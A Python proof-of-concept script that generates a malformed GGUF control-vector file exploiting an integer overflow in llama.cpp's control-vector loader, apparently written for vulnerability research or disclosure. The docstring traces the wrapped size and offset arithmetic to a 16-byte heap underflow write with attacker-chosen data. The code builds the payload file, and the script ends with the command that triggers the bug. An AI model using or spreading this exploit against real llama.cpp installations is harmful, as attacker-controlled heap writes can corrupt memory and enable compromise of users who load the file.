#!/usr/bin/env python3
"""
PoC generator — llama.cpp control-vector integer-overflow heap OOB write.

Emits a VALID GGUF v3 control-vector file (the official gguf_init_from_file() must
accept it) containing two 1-D F32 tensors:

    direction.1              -> layer_idx = 1        (sets n_embd = 4, grows buffer to 4 floats)
    direction.1073741824     -> layer_idx = 2^30

In common/common.cpp:common_control_vector_load_one():
    :1860  resize(max(size, (size_t)(n_embd * layer_idx)))   n_embd*layer_idx = 4*2^30 = 2^32 == 0 (int wrap)
                                                             -> buffer is NOT grown (stays 4 floats)
    :1863  dst = data() + n_embd*(layer_idx-1)               4*(2^30-1) = 2^32-4 == -4 (int wrap)
                                                             -> dst = data() - 16 bytes
    :1865  dst[j] += src[j]*strength  for j in 0..3          -> 16-byte heap UNDERFLOW write

Both the offset (tensor name) and the payload (tensor F32 data) are attacker-controlled.

No third-party deps (pure struct); GGUF v3 spec, little-endian, alignment 32.

Usage: python3 gen_ctrlvec_poc.py [out.gguf]
"""
import struct, sys

GGUF_MAGIC   = b"GGUF"
GGUF_VERSION = 3
GGML_TYPE_F32 = 0
ALIGN = 32

def gguf_string(s: bytes) -> bytes:
    return struct.pack("<Q", len(s)) + s

def align_up(n, a):
    return (n + a - 1) // a * a

def build():
    # two tensors: (name, float payload)
    tensors = [
        (b"direction.1",          [1.0, 2.0, 3.0, 4.0]),
        (b"direction.1073741824", [7.0, 7.0, 7.0, 7.0]),   # 2^30 -> int overflow
    ]

    # ---- header ----
    head = bytearray()
    head += GGUF_MAGIC
    head += struct.pack("<I", GGUF_VERSION)
    head += struct.pack("<Q", len(tensors))   # tensor_count
    head += struct.pack("<Q", 0)              # metadata_kv_count (none needed)

    # ---- tensor info section ----
    # compute aligned per-tensor data offsets first
    info = bytearray()
    data_blobs = []
    cur = 0
    offsets = []
    for name, vals in tensors:
        offsets.append(cur)
        blob = struct.pack("<%df" % len(vals), *vals)
        data_blobs.append(blob)
        cur = align_up(cur + len(blob), ALIGN)

    for (name, vals), off in zip(tensors, offsets):
        info += gguf_string(name)
        info += struct.pack("<I", 1)                 # n_dims = 1
        info += struct.pack("<Q", len(vals))         # dims[0] = 4
        info += struct.pack("<I", GGML_TYPE_F32)     # type
        info += struct.pack("<Q", off)               # offset within data section

    # ---- assemble; data section is aligned from start of file ----
    pre = bytes(head) + bytes(info)
    data_start = align_up(len(pre), ALIGN)
    out = bytearray(pre)
    out += b"\x00" * (data_start - len(pre))         # pad to data_start

    for blob, off in zip(data_blobs, offsets):
        want = data_start + off
        if len(out) < want:
            out += b"\x00" * (want - len(out))
        out += blob
    return bytes(out)

if __name__ == "__main__":
    out_path = sys.argv[1] if len(sys.argv) > 1 else "poc_ctrlvec_overflow.gguf"
    data = build()
    with open(out_path, "wb") as f:
        f.write(data)
    print(f"wrote {out_path} ({len(data)} bytes): tensors direction.1 and direction.1073741824 (2^30), F32[4]")
    print("trigger: llama-cli -m <model.gguf> --control-vector", out_path, "-p hi   (build llama.cpp with -fsanitize=address)")